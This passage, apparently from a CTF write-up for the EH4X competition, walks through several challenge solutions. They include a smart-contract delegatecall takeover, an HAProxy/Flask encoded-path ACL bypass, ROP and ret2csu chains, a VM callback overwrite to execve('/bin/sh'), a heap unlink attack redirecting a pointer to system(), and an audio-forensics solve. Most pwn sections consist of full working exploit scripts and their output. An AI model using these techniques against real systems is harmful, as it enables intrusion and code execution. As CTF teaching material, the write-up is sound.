        receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
        nonce += 1
        if receipt.status != 1:
            raise RuntimeError(f"tx failed: {tx_hash.hex()}")
        return receipt

    runtime = "33600155600060005500"
    init_code = "0x600a600c600039600a6000f3" + runtime

    deploy_receipt = send({"data": init_code, "gas": 200000})
    attacker = deploy_receipt.contractAddress
    print(f"[+] attacker contract: {attacker}")

    vault = w3.eth.contract(address=vault_addr, abi=VAULT_ABI)

    print(f"[+] vault balance before: {vault.functions.getBalance().call()}")
    print(f"[+] admin before: {vault.functions.admin().call()}")
    print(f"[+] paused before: {vault.functions.paused().call()}")

    tx = vault.functions.setGovernance(attacker).build_transaction(
        {"from": sender, "nonce": nonce, "chainId": chain_id, "gasPrice": gas_price, "gas": 200000}
    )
    send(tx)

    tx = vault.functions.execute(b"").build_transaction(
        {"from": sender, "nonce": nonce, "chainId": chain_id, "gasPrice": gas_price, "gas": 200000}
    )
    send(tx)

    print(f"[+] admin after delegatecall: {vault.functions.admin().call()}")
    print(f"[+] paused after delegatecall: {vault.functions.paused().call()}")

    tx = vault.functions.withdraw().build_transaction(
        {"from": sender, "nonce": nonce, "chainId": chain_id, "gasPrice": gas_price, "gas": 200000}
    )
    send(tx)

    print(f"[+] vault balance after: {vault.functions.getBalance().call()}")
    print(f"[+] solved on-chain: {vault.functions.isSolved().call()}")

    io.sendline(b"1")
    print(io.recvrepeat(2).decode(errors="ignore"), end="")
    io.close()


if __name__ == "__main__":
    main()
python3.12 solve.py
[+] vault balance after: 0
[+] solved on-chain: True
FLAG: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}

Web#

Borderline Personality#

Category: Web
Flag: EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}

Challenge Description#

The proxy thinks it’s in control. The backend thinks it’s safe. Find the space between their lies and slip through.

Analysis#

I started by pulling the handout contents and immediately saw that this challenge gave both sides of the stack: HAProxy config and backend Flask code. That usually means the intended bug is a parser differential, not brute-force fuzzing.

unzip -l "handout.zip"
Archive:  handout.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      513  02-27-2026 22:45   handout/backend/app.py
      438  02-28-2026 00:48   handout/haproxy/haproxy.cfg
      277  02-27-2026 20:07   handout/docker-compose.yml
...

To confirm the exact mismatch, I extracted the blocking rule and the protected backend route in one shot. The critical values were ^/+admin on the proxy and /admin/flag on Flask. That combination means HAProxy blocks only literal paths matching the regex, while the backend route match happens after URL decoding.

rg -n "restricted_path|/admin/flag" "/home/rei/Downloads/handout/haproxy/haproxy.cfg" "/home/rei/Downloads/handout/backend/app.py"
/home/rei/Downloads/handout/backend/app.py:19:@app.route('/admin/flag', methods=['GET', 'POST'])
/home/rei/Downloads/handout/haproxy/haproxy.cfg:16:    acl restricted_path path -m reg ^/+admin
/home/rei/Downloads/handout/haproxy/haproxy.cfg:17:    http-request deny if restricted_path

I verified baseline behavior first: direct access to /admin/flag is denied by HAProxy with a clean 403, so the block is definitely active at the edge.

curl -i -s "http://chall.ehax.in:9098/admin/flag"
HTTP/1.0 403 Forbidden
...
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>

Once that was confirmed, the bypass was the smallest canonicalization probe: encode the first a in admin as %61 and keep the rest untouched. HAProxy sees /%61dmin/flag (doesn’t match ^/+admin), forwards it, Flask decodes it to /admin/flag, and the protected handler returns the flag.

smug

curl -i -s --path-as-is "http://chall.ehax.in:9098/%61dmin/flag"
HTTP/1.1 200 OK
Server: gunicorn
...
EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}

This was a clean proxy/backend normalization mismatch: deny rule evaluated pre-decode, route matched post-decode.

Solution#

# solve.py
import re
import requests

url = "http://chall.ehax.in:9098/%61dmin/flag"
response = requests.get(url, timeout=10)
print(response.text, end="")

match = re.search(r"EH4X\{[^}]+\}", response.text)
if match:
    print(f"\nFlag: {match.group(0)}")
curl -i -s --path-as-is "http://chall.ehax.in:9098/%61dmin/flag"
HTTP/1.1 200 OK
Server: gunicorn
Date: Fri, 27 Feb 2026 22:07:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 52

EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}

Pwn#

Womp Womp#

Category: Pwn
Flag: EH4X{r0pp3d_th3_w0mp3d}

Challenge Description#

Hippity hoppity the flag is not your property

Analysis#

I started by unpacking the handout and immediately got the important clue: this was a two-binary setup (challenge + libcoreio.so), which usually means the main binary has the bug and the shared object hides the win path.

unzip -l "handout_womp_womp.zip"
Archive:  handout_womp_womp.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  02-28-2026 00:42   handout/
    13016  02-28-2026 00:42   handout/challenge
     8416  02-28-2026 00:42   handout/libcoreio.so

Quick triage showed exactly the kind of target that rewards leak-first exploitation: PIE, canary, NX, full RELRO, and a not-stripped ELF. Not stripped mattered a lot here because function names like submit_note, review_note, and finalize_entry made the intended flow obvious right away.

file "handout/challenge" "handout/libcoreio.so"
handout/challenge:    ELF 64-bit LSB pie executable, x86-64, ... not stripped
handout/libcoreio.so: ELF 64-bit LSB shared object, x86-64, ... not stripped
checksec "handout/challenge"
[*] '/home/rei/Downloads/handout/challenge'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RPATH:      b'.'
    Stripped:   No

Disassembling challenge made the full exploit shape click. submit_note reads 0x40 bytes into a stack buffer and then writes 0x58 bytes back, which leaks past the buffer into stack metadata. review_note does the same pattern with 0x20 read and 0x30 write, and that leak includes the stack-stored function pointer to finalize_note, which gives a PIE leak. Then finalize_entry performs the real overflow by reading 0x190 bytes into rbp-0x48.

objdump -d -M intel "handout/challenge"
00000000000009b7 <submit_note>:
 ...
 9f5: e8 26 fe ff ff        call   820 <read@plt>      ; read(..., 0x40)
 ...
 a21: e8 ea fd ff ff        call   810 <write@plt>     ; write(..., 0x58)

0000000000000a53 <review_note>:
 ...
 a9c: e8 7f fd ff ff        call   820 <read@plt>      ; read(..., 0x20)
 ...
 ac8: e8 43 fd ff ff        call   810 <write@plt>     ; write(..., 0x30)

0000000000000afa <finalize_entry>:
 ...
 b33: 48 83 c0 08           add    rax,0x8             ; target is rbp-0x48
 b37: ba 90 01 00 00        mov    edx,0x190
 b44: e8 d7 fc ff ff        call   820 <read@plt>

The shared object confirmed the end goal: emit_report checks three exact magic arguments and, if they match, opens and prints flag.txt. So the exploit only needed to call emit_report with controlled rdi/rsi/rdx.

objdump -d -M intel "handout/libcoreio.so"
00000000000007c0 <emit_report>:
 ...
 7ef: 48 b8 ef be ad de ef be ad de  movabs rax,0xdeadbeefdeadbeef
 7f9: 48 39 85 d8 fe ff ff            cmp QWORD PTR [rbp-0x128],rax
 ...
 802: 48 b8 be ba fe ca be ba fe ca  movabs rax,0xcafebabecafebabe
 ...
 815: 48 b8 0d f0 0d d0 0d f0 0d d0  movabs rax,0xd00df00dd00df00d
 ...
 87b: 48 8d 3d ee 00 00 00            lea rdi,[rip+0xee]  # "flag.txt"
 ...
 924: 48 89 c6                         mov rsi,rax
 927: bf 01 00 00 00                   mov edi,0x1
 92c: e8 3f fd ff ff                   call 670 <write@plt>

The only annoyance was gadget quality: there was pop rdi and pop rsi, but no clean pop rdx. I initially wished for a straightforward 3-pop chain, then realized this binary already contained the classic __libc_csu_init sequence, which is perfect for setting rdx via r13.

cry

ROPgadget --binary "handout/challenge" --only "pop|ret"
0x0000000000000ca3 : pop rdi ; ret
0x0000000000000ca1 : pop rsi ; pop r15 ; ret
...
Unique gadgets found: 12
objdump -d -M intel --start-address=0xc70 --stop-address=0xcb0 "handout/challenge"
0000000000000c80 <__libc_csu_init+0x40>:
 c80: 4c 89 ea              mov    rdx,r13
 c83: 4c 89 f6              mov    rsi,r14
 c86: 44 89 ff              mov    edi,r15d
 c89: 41 ff 14 dc           call   QWORD PTR [r12+rbx*8]
 ...
 c9a: 5b                    pop    rbx
 c9b: 5d                    pop    rbp
 c9c: 41 5c                 pop    r12
 c9e: 41 5d                 pop    r13
 ca0: 41 5e                 pop    r14
 ca2: 41 5f                 pop    r15
 ca4: c3                    ret

That made the final chain clean and reliable: leak canary from submit_note, leak PIE from review_note (finalize_note pointer minus 0x980), overflow in finalize_entry, use CSU call #1 to invoke read(0, .data, 8) and place a callable function pointer in writable memory (finalize_note), then CSU call #2 through that pointer with rsi/rdx set to the emit_report magic values, and finish with pop rdi ; ret to set rdi = 0xdeadbeefdeadbeef before jumping to emit_report@plt.

When the remote service printed [VULN] Done. and immediately followed with the flag, that confirmed both the offset math and the CSU argument setup were correct on first full remote run.

dance

from pwn import *

context.arch = "amd64"
io = remote("chall.ehax.in", 1337)

io.recvuntil(b"Input log entry: ")
io.send(b"A" * 0x40)
io.recvuntil(b"[LOG] Entry received: ")
leak1 = io.recvn(0x58)
canary = u64(leak1[0x48:0x50])

io.recvuntil(b"Input processing note: ")
io.send(b"B" * 0x20)
io.recvuntil(b"[PROC] Processing: ")
leak2 = io.recvn(0x30)
finalize_note = u64(leak2[0x20:0x28])
base = finalize_note - 0x980

csu_call = base + 0xC80
csu_pop = base + 0xC9A
pop_rdi = base + 0xCA3
emit_plt = base + 0x838
got_read = base + 0x201FC0
ptr_tbl = base + 0x202000

MAG1 = 0xDEADBEEFDEADBEEF
MAG2 = 0xCAFEBABECAFEBABE
MAG3 = 0xD00DF00DD00DF00D

def csu(funcptr, rdi, rsi, rdx, nxt):
    return (
        p64(csu_pop)
        + p64(0) + p64(1) + p64(funcptr)
        + p64(rdx) + p64(rsi) + p64(rdi)
        + p64(csu_call) + p64(0) + p64(0) * 6 + p64(nxt)
    )

chain = csu(got_read, 0, ptr_tbl, 8, csu_pop)
chain += p64(0) + p64(1) + p64(ptr_tbl) + p64(MAG3) + p64(MAG2) + p64(0)
chain += p64(csu_call) + p64(0) + p64(0) * 6
chain += p64(pop_rdi) + p64(MAG1) + p64(emit_plt)

payload = b"C" * 0x40 + p64(canary) + b"D" * 8 + chain

io.recvuntil(b"Send final payload: ")
io.send(payload)
io.send(p64(finalize_note))

print(io.recvall(timeout=5).decode("latin-1", "ignore"))
[VULN] Done.
EH4X{r0pp3d_th3_w0mp3d}

Solution#

# solve.py
from pwn import *

context.arch = "amd64"

HOST = "chall.ehax.in"
PORT = 1337

MAG1 = 0xDEADBEEFDEADBEEF
MAG2 = 0xCAFEBABECAFEBABE
MAG3 = 0xD00DF00DD00DF00D

io = remote(HOST, PORT)

# Stage 1: leak canary from submit_note
io.recvuntil(b"Input log entry: ")
io.send(b"A" * 0x40)
io.recvuntil(b"[LOG] Entry received: ")
leak1 = io.recvn(0x58)
canary = u64(leak1[0x48:0x50])

# Stage 2: leak PIE from review_note
io.recvuntil(b"Input processing note: ")
io.send(b"B" * 0x20)
io.recvuntil(b"[PROC] Processing: ")
leak2 = io.recvn(0x30)
finalize_note = u64(leak2[0x20:0x28])
pie = finalize_note - 0x980

csu_call = pie + 0xC80
csu_pop = pie + 0xC9A
pop_rdi = pie + 0xCA3
emit_plt = pie + 0x838
got_read = pie + 0x201FC0
ptr_tbl = pie + 0x202000


def csu(funcptr, rdi, rsi, rdx, nxt):
    chain = p64(csu_pop)
    chain += p64(0)          # rbx
    chain += p64(1)          # rbp
    chain += p64(funcptr)    # r12
    chain += p64(rdx)        # r13 -> rdx
    chain += p64(rsi)        # r14 -> rsi
    chain += p64(rdi)        # r15 -> edi
    chain += p64(csu_call)
    chain += p64(0)          # add rsp, 8
    chain += p64(0) * 6      # popped by csu epilogue
    chain += p64(nxt)
    return chain


# First CSU call: read(0, ptr_tbl, 8) to place a function pointer in writable memory
chain = csu(got_read, 0, ptr_tbl, 8, csu_pop)

# Second CSU call: call [ptr_tbl] (finalize_note), load MAGIC2/MAGIC3 into rsi/rdx
chain += p64(0) + p64(1) + p64(ptr_tbl) + p64(MAG3) + p64(MAG2) + p64(0)
chain += p64(csu_call)
chain += p64(0) + p64(0) * 6

# Set rdi and jump to emit_report@plt
chain += p64(pop_rdi)
chain += p64(MAG1)
chain += p64(emit_plt)

payload = b"C" * 0x40 + p64(canary) + b"D" * 8 + chain

io.recvuntil(b"Send final payload: ")
io.send(payload)

# Satisfy read(0, ptr_tbl, 8)
io.send(p64(finalize_note))

print(io.recvall(timeout=5).decode("latin-1", errors="ignore"))
python3.12 solve.py
[VULN] Done.
EH4X{r0pp3d_th3_w0mp3d}

SarcAsm#

Category: Pwn
Flag: EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}

Challenge Description#

Unsarcastically, introducing the best asm in market: SarcAsm

Analysis#

The handout was a VM challenge bundle (sarcasm, custom libc.so.6, and loader), so I treated it like parser/bytecode pwn instead of classic stack ROP. The protection profile on the host binary is very hardened (PIE, canary, full RELRO, NX, SHSTK/IBT), which strongly suggested the intended path would be logic/VM memory corruption rather than native return-address control.

file "/home/rei/sarcasm/handout/sarcasm"
checksec "/home/rei/sarcasm/handout/sarcasm"
/home/rei/sarcasm/handout/sarcasm: ELF 64-bit LSB pie executable, x86-64, ... stripped
[*] '/home/rei/sarcasm/handout/sarcasm'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

The key click came from reversing the VM metadata and dispatch tables. BUILTIN and CALL are real VM opcodes (0x40 and 0x41), and their object type is callable object type 3. That meant I should target object internals used by CALL, not native ELF control flow.

# parse_vm_meta.py
from pathlib import Path
import struct

p = Path('/home/rei/sarcasm/handout/sarcasm').read_bytes()
base_fo = 0x8A80
ro_va = 0x7000

def read_cstr(va: int) -> str:
    out = []
    idx = va - ro_va
    while idx < len(p) and p[idx] != 0:
        out.append(chr(p[idx]))
        idx += 1
    return ''.join(out)

for i in range(0x19):
    rec = p[base_fo + i * 0x18 : base_fo + i * 0x18 + 0x18]
    name_ptr = struct.unpack_from('<Q', rec, 0)[0]
    opcode = struct.unpack_from('<I', rec, 8)[0]
    if i in (19, 20):
        print(i, hex(opcode), read_cstr(name_ptr))
19 0x140 BUILTIN
20 0x141 CALL

Then I confirmed the builtin function-pointer table in .data.rel.ro: builtin id 0 points to 0x31d0 and builtin id 1 points to 0x2ee0.

objdump -s --start-address=0x9a50 --stop-address=0x9ac0 "/home/rei/sarcasm/handout/sarcasm"
Contents of section .data.rel.ro:
 9a60 d0310000 00000000 01000000 00000000  .1.............
 9a70 e02e0000 00000000 00000000 00000000  ................

The winning target was nearby in the same PIE image: 0x3000 is a tiny helper that does execve("/bin/sh", ...) and exits. So a partial pointer rewrite from builtin-1 callback (0x2ee0) to shell helper (0x3000) is enough to get code execution.

objdump -M intel --start-address=0x3000 --stop-address=0x3050 -d "/home/rei/sarcasm/handout/sarcasm"
0000000000003000 <.text+0xc00>:
 3000: ...
 301b: 48 b8 2f 62 69 6e 2f 73 68 00  movabs rax,0x68732f6e69622f
 ...
 303d: e8 ce f2 ff ff                  call   2310 <execve@plt>

At that point, the exploit strategy became a two-stage VM payload: first leak 8 bytes from the builtin object (so PIE can be derived reliably under ASLR), then write back the forged callback pointer and trigger CALL 0 to jump into execve("/bin/sh"). Local validation showed the chain was correct and stable enough to run commands from the spawned shell.

smug

# local_verify.py
from pwn import process, p32, p64, u64

code = bytes.fromhex(
    '20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 '
    '00 30 00 23 30 00 25 00 08 41 00 ff'
)

io = process([
    '/home/rei/sarcasm/handout/ld-linux-x86-64.so.2',
    '--library-path',
    '/home/rei/sarcasm/handout',
    '/home/rei/sarcasm/handout/sarcasm',
])

io.send(p32(len(code)) + code)
leak = io.recvn(8, timeout=2)
ptr = u64(leak)
base = ptr - 0x2EE0
target = base + 0x3000

io.send(p64(target))
io.sendline(b'echo LOCAL_OK')
io.sendline(b'exit')
out = io.recvall(timeout=2)

print('leak', hex(ptr))
print(out.decode(errors='ignore'))
leak 0x7f41d1a1cee0
LOCAL_OK

Remote service behavior was noisy (some connections returned no leak bytes), so I wrapped the same primitive in retry logic. Once a full 8-byte leak landed, the overwrite/trigger path worked immediately and the shell output contained the real flag.

dance

# remote_retry.py
import re
import time

from pwn import remote, p32, p64, u64

HOST = 'chall.ehax.in'
PORT = 9999
code = bytes.fromhex(
    '20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 '
    '00 30 00 23 30 00 25 00 08 41 00 ff'
)

for i in range(1, 21):
    try:
        io = remote(HOST, PORT, timeout=8)
    except Exception:
        continue

    try:
        io.send(p32(len(code)) + code)
        leak = io.recvn(8, timeout=8)
        if len(leak) != 8:
            io.close()
            continue

        ptr = u64(leak)
        base = ptr - 0x2EE0
        target = base + 0x3000
        io.send(p64(target))

        io.sendline(b'echo START')
        io.sendline(b'cat flag.txt')
        io.sendline(b'cat /flag')
        io.sendline(b'cat /flag.txt')
        io.sendline(b'exit')

        out = io.recvall(timeout=6).decode(errors='ignore')
        print(i, 'leaklen', len(leak), leak.hex())
        print(out)

        m = re.search(r'[A-Za-z0-9_]+\{[^}\n]+\}', out)
        if m:
            print('FLAG', m.group(0))
            break
    finally:
        try:
            io.close()
        except Exception:
            pass
        time.sleep(0.3)
9 leaklen 8 e08edfd60b580000
START
EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}

FLAG EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}

Solution#

# solve.py
import re
import time

from pwn import remote, p32, p64, u64


HOST = "chall.ehax.in"
PORT = 9999

# VM program:
# 1) create stale callable object and leak 8-byte builtin callback pointer
# 2) overwrite callback with execve('/bin/sh') helper address
# 3) CALL 0 to execute shell helper
CODE = bytes.fromhex(
    "20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 "
    "00 30 00 23 30 00 25 00 08 41 00 ff"
)


def try_once() -> str | None:
    io = remote(HOST, PORT, timeout=8)
    io.send(p32(len(CODE)) + CODE)

    leak = io.recvn(8, timeout=8)
    if len(leak) != 8:
        io.close()
        return None

    leaked_ptr = u64(leak)
    pie_base = leaked_ptr - 0x2EE0
    shell_helper = pie_base + 0x3000

    io.send(p64(shell_helper))
    io.sendline(b"echo START")
    io.sendline(b"cat flag.txt")
    io.sendline(b"cat /flag")
    io.sendline(b"cat /flag.txt")
    io.sendline(b"exit")

    out = io.recvall(timeout=6).decode(errors="ignore")
    io.close()

    m = re.search(r"[A-Za-z0-9_]+\{[^}\n]+\}", out)
    return m.group(0) if m else None


def main() -> None:
    for _ in range(20):
        flag = try_once()
        if flag:
            print(flag)
            return
        time.sleep(0.3)
    raise RuntimeError("flag not recovered in retry window")


if __name__ == "__main__":
    main()
python3.12 solve.py
EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}

lulocator#

Category: Pwn
Flag: EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}

Challenge Description#

Who needs that buggy malloc? Made my own completely safe lulocator.

Analysis#

The handout immediately telegraphed the shape of the challenge: one custom allocator binary plus an exact libc, which usually means the intended exploit path is inside the program’s own heap logic, not glibc internals.

unzip -l "/home/rei/Downloads/handout_lulocator.zip"
Archive:  /home/rei/Downloads/handout_lulocator.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      297  02-28-2026 00:45   handout/Makefile
    16608  02-28-2026 00:47   handout/lulocator
  2220400  02-28-2026 00:47   handout/libc.so.6
       30  02-27-2026 23:57   handout/flag.txt
file "./lulocator"
./lulocator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, ... stripped
checksec --file="./lulocator"
[*] '/home/rei/Downloads/handout/lulocator'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled

No PIE and no canary were nice, but this was not a direct stack-overflow binary. The menu and decompilation showed a custom heap object model with a global “runner” pointer and an indirect callback dispatch, which is exactly where I focused.

strings -a -n 4 "./lulocator" | rg -i "allocator: corrupted free list detected|\[new\]|\[info\]|set_runner|=== lulocator ==="
allocator: corrupted free list detected
[new] index=%d
[info] addr=0x%lx out=0x%lx len=%lu
=== lulocator ===
5) set_runner
r2 -Aqc "s 0x401e0d; pdg" "./lulocator"
void fcn.00401e0d(void)
{
    if (*0x404940 == 0) {
        sym.imp.puts("[no runner]");
    }
    else {
        (**(*0x404940 + 0x10))(*0x404940 + 0x28);
    }
}

That one function gives the whole endgame: if I can make the global runner (0x404940) point to attacker data, I control both the called function pointer at runner+0x10 and its argument pointer runner+0x28.

r2 -Aqc "s 0x401d3d; pdg" "./lulocator"
void fcn.00401d3d(void)
{
    ...
    *0x404940 = *(var_44h * 8 + 0x4048c0);
    sym.imp.puts("[runner set]");
}
r2 -Aqc "s 0x401978; pdg" "./lulocator"
void fcn.00401978(void)
{
    ...
    if (*(var_18h + 0x20) + 0x18U < var_70h) {
        sym.imp.puts("too long");
        return;
    }
    ...
    fcn.00401636(0, var_18h + 0x28, var_70h);
}

This is the bug: write length is allowed up to chunk_len + 0x18, but write target starts at chunk+0x28. So each chunk can overwrite 0x18 bytes past its own data region—perfect for corrupting the metadata of the physically next chunk.

r2 -Aqc "s 0x4012f2; pdg" "./lulocator"
void fcn.004012f2(uint32_t arg1)
{
    ...
    if ((piVar1 == *(*piVar1 + 8)) && (piVar1 == *piVar1[1])) {
        *piVar1[1] = *piVar1;
        *(*piVar1 + 8) = piVar1[1];
        return;
    }
    sym.imp.fwrite("allocator: corrupted free list detected\n", ...);
    sym.imp.abort();
}

That unlink check is classic and bypassable with fake fd/bk setup. The reliable chain was: allocate A and R adjacent, set runner to R, free R (runner becomes stale UAF), overflow from A into freed R’s free-list pointers, then trigger allocation to unlink R and overwrite runner with an attacker-controlled fake object inside A’s data.

smug

The info command gave two essential leaks in one line: chunk address for precise fake-object placement and stdout pointer for libc base recovery. Since a challenge libc was provided in the handout, the exploit resolves system from that exact libc and uses the leak to compute libc_base on the fly.

With runner -> fake_object, fake_object+0x10 = system, and fake_object+0x28 = command string, run becomes system(command). I used a multi-path cat command so the exploit would survive unknown remote flag paths, and the first full remote execution returned the real flag twice in stdout.

python3.12 "./exploit.py" REMOTE
[x] Opening connection to chall.ehax.in on port 40137
[+] chunk A @ 0x7dda42bfe008
[+] chunk R @ 0x7dda42bfe138
[+] stdout leak = 0x7dda42e5c780
[+] libc base   = 0x7dda42c41000
[+] system      = 0x7dda42c91d70
EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}
...
FLAG_FOUND: EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}

Solution#

# solve.py
from pwn import *
import re

HOST = "chall.ehax.in"
PORT = 40137

libc = ELF("./libc.so.6", checksec=False)


def cmd(io, choice: int):
    io.sendlineafter(b"> ", str(choice).encode())


def new(io, size: int) -> int:
    cmd(io, 1)
    io.sendlineafter(b"size: ", str(size).encode())
    io.recvuntil(b"[new] index=")
    return int(io.recvline().strip())


def write_idx(io, idx: int, length: int, data: bytes):
    cmd(io, 2)
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.sendlineafter(b"len: ", str(length).encode())
    io.sendafter(b"data: ", data)
    io.recvline()


def delete(io, idx: int):
    cmd(io, 3)
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.recvline()


def info(io, idx: int):
    cmd(io, 4)
    io.sendlineafter(b"idx: ", str(idx).encode())
    line = io.recvline().decode(errors="ignore").strip()
    m = re.search(r"addr=0x([0-9a-fA-F]+) out=0x([0-9a-fA-F]+) len=(\d+)", line)
    if not m:
        raise RuntimeError(f"bad info line: {line!r}")
    return int(m.group(1), 16), int(m.group(2), 16)


def set_runner(io, idx: int):
    cmd(io, 5)
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.recvline()


def main():
    io = remote(HOST, PORT)

    a = new(io, 0x100)
    r = new(io, 0x100)

    a_addr, out_ptr = info(io, a)
    r_addr, _ = info(io, r)

    libc.address = out_ptr - libc.symbols["_IO_2_1_stdout_"]
    system = libc.symbols["system"]

    set_runner(io, r)
    delete(io, r)

    command = (
        b"cat flag.txt 2>/dev/null; cat /flag.txt 2>/dev/null; "
        b"cat /flag 2>/dev/null; cat /app/flag.txt 2>/dev/null; "
        b"cat /home/*/flag.txt 2>/dev/null; echo __END__\x00"
    )

    fake = a_addr + 0x28
    payload = bytearray(b"A" * (0x100 + 0x18))

    # fake object at `fake`
    payload[0x08:0x10] = p64(r_addr)        # for unlink check
    payload[0x10:0x18] = p64(system)        # callback
    payload[0x28:0x28 + len(command)] = command

    # overwrite freed R chunk metadata via +0x18 OOB write
    payload[0x100:0x108] = p64(0x130)       # keep size
    payload[0x108:0x110] = p64(fake)        # fd
    payload[0x110:0x118] = p64(0x404940)    # bk -> &runner

    write_idx(io, a, len(payload), bytes(payload))
    new(io, 0x80)  # trigger unlink => runner = fake

    cmd(io, 6)     # run => system(fake+0x28)
    out = io.recvuntil(b"__END__", timeout=3)
    print(out.decode(errors="ignore"))


if __name__ == "__main__":
    main()
python3.12 solve.py
EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}

Forensics#

let-the-penguin-live#

Category: Forensics
Flag: EH4X{0n3_tr4ck_m1nd_tw0_tr4ck_f1les}

Challenge Description#

In a colony of many, one penguin’s path is an anomaly. Silence the crowd to hear the individual.

Analysis#

The first useful clue was the container layout itself: one video stream and two FLAC audio streams inside the same MKV. That matched the prompt language (“colony of many”) and suggested the solve was probably about isolating one stream from a mixture instead of visual stego on the video frames.

mkvinfo "challenge.mkv"
| + Track
|  + Track number: 2
|  + Name: English (Stereo)
|  + Codec ID: A_FLAC
| + Track
|  + Track number: 3
|  + Name: English (5.1 Surround)
|  + Codec ID: A_FLAC
| + Tag
|  + Simple
|   + Name: COMMENT
|   + String: EH4X{k33p_try1ng}

The COMMENT value was a decoy (EH4X{k33p_try1ng}), so the real path had to be the audio relation between both tracks.

smug

I extracted both audio tracks, subtracted them sample-by-sample, and amplified the residual signal. The key observation was that the true difference amplitude is tiny (min/max -153..150), exactly what you expect when two nearly-identical tracks hide a low-energy payload in their delta.

# build_true_diff.py
import wave
import numpy as np


def read(path):
    with wave.open(path, "rb") as w:
        fs = w.getframerate()
        ch = w.getnchannels()
        n = w.getnframes()
        arr = np.frombuffer(w.readframes(n), dtype=np.int16).reshape(-1, ch).astype(np.int32)
    return fs, arr


def write_mono(path, fs, arr):
    out = np.clip(arr, -32768, 32767).astype(np.int16)
    with wave.open(path, "wb") as w:
        w.setnchannels(1)
        w.setsampwidth(2)
        w.setframerate(fs)
        w.writeframes(out.tobytes())


fs0, a0 = read("penguin_a0.wav")
fs1, a1 = read("penguin_a1.wav")
assert fs0 == fs1 and a0.shape == a1.shape

d = a0 - a1
write_mono("tdiff_R_x64.wav", fs0, d[:, 1] * 64)
print("generated mono true-difference tracks")
print("min/max", int(d.min()), int(d.max()))
python3.12 build_true_diff.py
generated mono true-difference tracks
min/max -153 150

That still produced cramped text in the spectrogram, so I stretched time by 8x (atempo=0.5 three times). This was the turning point: same signal content, but spread wider on the time axis so glyphs become readable.

ffmpeg -y -i "tdiff_R_x64.wav" -filter:a "atempo=0.5,atempo=0.5,atempo=0.5" "tdiff_R_x64_slow8.wav"
Input #0, wav, from 'tdiff_R_x64.wav':
  Duration: 00:01:03.02, bitrate: 705 kb/s
Output #0, wav, to 'tdiff_R_x64_slow8.wav':
size=   43405KiB time=00:08:23.93 bitrate= 705.6kbits/s

Then I rendered the spectrogram from that stretched right-channel residual, which produced the image where the flag text became human-readable.

ffmpeg -y -i "tdiff_R_x64_slow8.wav" -lavfi "showspectrumpic=s=16000x2000:legend=disabled:mode=combined:color=intensity:scale=lin" -frames:v 1 -update 1 "tdiff_R_x64_slow8_spec_lin.png"
Input #0, wav, from 'tdiff_R_x64_slow8.wav':
  Duration: 00:08:23.94, bitrate: 705 kb/s
Output #0, image2, to 'tdiff_R_x64_slow8_spec_lin.png':
  Stream #0:0: Video: png, ... 16000x2000

From tdiff_R_x64_slow8_spec_lin.png, the flag was read manually as:

EH4X{0n3_tr4ck_m1nd_tw0_tr4ck_f1les}

Solution#

# solve.py
import subprocess
import wave
import numpy as np


def run(cmd: list[str]) -> None:
    subprocess.run(cmd, check=True)


def read_wav(path: str):
    with wave.open(path, "rb") as w:
        fs = w.getframerate()
        ch = w.getnchannels()
        n = w.getnframes()
        arr = np.frombuffer(w.readframes(n), dtype=np.int16).reshape(-1, ch).astype(np.int32)
    return fs, arr


def write_mono(path: str, fs: int, arr: np.ndarray):
    out = np.clip(arr, -32768, 32767).astype(np.int16)
    with wave.open(path, "wb") as w:
        w.setnchannels(1)
        w.setsampwidth(2)
        w.setframerate(fs)
        w.writeframes(out.tobytes())


def main() -> None:
    run(["ffmpeg", "-y", "-i", "challenge.mkv", "-map", "0:a:0", "-c:a", "pcm_s16le", "penguin_a0.wav"])
    run(["ffmpeg", "-y", "-i", "challenge.mkv", "-map", "0:a:1", "-c:a", "pcm_s16le", "penguin_a1.wav"])

    fs0, a0 = read_wav("penguin_a0.wav")
    fs1, a1 = read_wav("penguin_a1.wav")
    assert fs0 == fs1 and a0.shape == a1.shape

    d = a0 - a1
    write_mono("tdiff_R_x64.wav", fs0, d[:, 1] * 64)

    run([
        "ffmpeg", "-y", "-i", "tdiff_R_x64.wav",
        "-filter:a", "atempo=0.5,atempo=0.5,atempo=0.5",
        "tdiff_R_x64_slow8.wav",
    ])

    run([
        "ffmpeg", "-y", "-i", "tdiff_R_x64_slow8.wav",
        "-lavfi", "showspectrumpic=s=16000x2000:legend=disabled:mode=combined:color=intensity:scale=lin",
